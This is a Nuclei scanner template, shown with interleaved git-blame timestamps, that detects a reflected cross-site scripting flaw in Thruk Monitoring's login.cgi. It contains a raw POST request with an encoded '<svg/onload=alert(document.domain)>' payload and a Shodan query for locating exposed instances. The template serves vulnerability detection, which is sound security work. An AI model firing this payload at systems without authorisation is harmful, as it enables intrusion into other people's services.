2021-12-02 12:07:50 +00:00
|
|
|
id: thruk-xss
|
|
|
|
|
2021-12-02 12:02:40 +00:00
|
|
|
info:
|
2022-09-09 17:34:37 +00:00
|
|
|
name: Thruk Monitoring Webinterface - Cross-Site Scripting
|
2022-08-15 08:57:04 +00:00
|
|
|
author: pikpikcu,ritikchaddha
|
2022-09-23 17:53:08 +00:00
|
|
|
severity: high
|
2022-08-15 08:57:04 +00:00
|
|
|
description: |
|
2022-09-23 17:53:08 +00:00
|
|
|
Thruk Monitoring Webinterface contains a cross-site scripting vulnerability via the login parameter at /thruk/cgi-bin/login.cgi.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.thruk.org/download.html
|
2022-09-23 17:53:08 +00:00
|
|
|
- https://www.usd.de/en/security-advisory-thruk-monitoring-v2-46-3
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 7.2
|
|
|
|
cwe-id: CWE-79
|
2022-08-15 08:57:04 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
shodan-query: http.html:"Thruk"
|
|
|
|
tags: thruk,xss
|
2021-12-02 12:02:40 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
2021-12-03 05:07:42 +00:00
|
|
|
- |
|
2021-12-02 12:02:40 +00:00
|
|
|
POST /thruk/cgi-bin/login.cgi HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2022-08-15 08:57:04 +00:00
|
|
|
referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login
|
2021-12-03 05:07:42 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
2021-12-02 12:02:40 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2022-08-15 08:57:04 +00:00
|
|
|
- "<svg/onload=alert(document.domain)>\"@gmail.com') called at"
|
2021-12-02 12:02:40 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
2021-12-03 05:07:42 +00:00
|
|
|
words:
|
2021-12-09 16:28:15 +00:00
|
|
|
- "text/html"
|
2022-08-15 08:57:04 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 500
|
2022-09-23 17:53:08 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/09/23
|